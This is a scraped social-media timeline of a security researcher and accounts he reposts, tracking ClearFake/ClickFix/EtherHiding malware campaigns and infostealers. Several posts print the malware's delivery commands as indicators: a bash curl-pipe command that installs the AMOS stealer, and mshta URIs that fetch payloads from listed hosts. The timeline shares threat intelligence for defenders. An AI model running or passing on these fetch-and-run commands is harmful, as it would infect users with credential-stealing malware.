msz

(Father*4), IT Sec @ eSky, Security Explorator, WithoutHat

my own opinions & shitposting

[msz @mszustak]

New #Phishing kit in town?
https[:]//any-subdomain.mailvoiceserver.com/

[msz @mszustak]

@DailyDarkWeb Bullshit! 😤 Another fakenews about a supposed data leak is just noise. This isn't a breach; it's just login data stolen by infostealers and aggregated. Don't spread panic, verify your sources! #FakeNews #Cybersecurity #ScamAlert

[Gynvael Coldwind @gynvael]

This looks nicely written: https://t.co/RcY87eZngD

[msz @mszustak]

#Jprdl

[Michał Kowalczyk 🇺🇦 @dsredford]

@Zaufana3Strona "Nie pozwolę na to, żeby jakakolwiek praca parlamentu podważała zaufanie do jednej z najbardziej doświadczonych polskich firm"
https://t.co/N09rrzCxQi (od 18:05:15)

[Matt Johansen @mattjay]

Useless security advice you need to stop giving: "Don't click suspicious links!"

Links are made to be clicked. Clicking links should be safe. If clicking a link gets your company hacked, it's a security stack issue, not a "train users to not click links" issue.

[Curiosity @CuriosityonX]

A gentle reminder!

[msz @mszustak]

@komputerow @Zaufana3Strona To stealer na miarę naszych możliwości. My go stworzyliśmy i nikt nam nie powie, że to nie jest dobry stealer!

[Gynvael Coldwind @gynvael]

Paged Out! #6 is out!
https://t.co/8GiM1IwmHD
Totally free, 80 pages, best issue so far!
'nuff said, enjoy!

(please RT to help spread out the news!)

[Jack Rhysider 🏴‍☠️ @JackRhysider]

Every breach, every exploit, every vulnerability,
it’s never what’s happening right now.
It’s what someone forgot to fix six years ago.

[Po prostu emeryt / Leśnik @PEmeryt]

Nigdy nie pytaj kobiety o wiek,
Mężczyzny o jego zarobki,
A oficera Wojsk Obrony Cyberprzestrzeni co robi na "urlopie"

😉

[crep1x @crep1x]

#ClearFake variant is now spreading #Rhadamanthys Stealer via #Emmenhtal Loader.

cc @plebourhis @sekoia_io

1. ClearFake framework is injected on compromised WordPress and relies on EtherHiding

2. The #ClickFix lure uses a fake Cloudflare Turnstile with unusual web traffic

⬇️

[msz @mszustak]

@konieczny well well well... i'v slide for that OhMyHack'24 ;) https://t.co/2Bfs8iquAU

[Who said what? @g0njxa]

#Rhadamanthys Stealer is still working and releases the first update in 2025 to v0.9

update log 👇👇🐉

[msz @mszustak]

@vxunderground Exactly. This is why you should find someone else's computer to do this right.

[msz @mszustak]

And we have something new. New day new domains, new malware. This time targeted platform is macos and we get #amos #stealer. Still #clickfix and #etherhide.

/bin/bash -c \"$(curl -fsSL https[:]//browser-storage.com/install.sh)\

dropped sample
https://t.co/9IDqW35Nxt

clickfix decoy html https://t.co/9xvf1zUqzD

[msz @mszustak]

A new EtherHide technique combined with ClearFake/ClickFix is spreading Vidar malware across ~5k websites! The campaign has been active for ~3 months as of 2024-11-24. #Binance #EtherHide #ClearFake #ClickFix #Malware #IOC #przepisyjoli ;)
https://t.co/adRSzIMcB6

[msz @mszustak]

New update in #etherhide #clickfix campaign with #vidar sample but something crashed so let's wait for next update...

2025-02-05 21:15:54,628 - [+] Tx 2025-02-05 20:41:17 Found something else: L>F CLOSED
2025-02-05 21:15:54,732 - [+] Tx 2025-02-05 20:37:23 Found something else: L>F OPEN
2025-02-05 21:15:54,840 - [+] Tx 2025-02-05 20:36:23 mshta command URI: mshta http[:]//80.64.30.238/trip.psd # Microsoft Windows: Fix Internet DNS Service reconnect

[msz @mszustak]

Infected websites? As in writeup & https://t.co/FWujRiJ7nO
Current IoCs? Latest one doesnt work ¯\_(ツ)_/¯.
[+] Tx 2025-02-03 13:10:30 mshta command URI: http[:]//80.64.30.238/evix.xll
[+] Tx 2025-02-03 12:28:27 mshta command URI: https[:]//raw.githubusercontent.com/fuad686337/tyu/refs/heads/main/BEGIMOT.xll
[+] Tx 2025-02-02 23:02:52 mshta command URI: https[:]//disable-data-ai-agent.pages.dev
[+] Tx 2025-02-02 20:13:52 mshta command URI: https[:]//domain.com/BEGIMOT.xll
[+] Tx 2025-02-02 14:06:32 Found something else: L>F OPEN
[+] Tx 2025-02-02 14:04:11 mshta command URI: https[:]//disable-data-ai-agent.pages.dev
[+] Tx 2025-02-02 12:02:08 Found something else: L>F CLOSED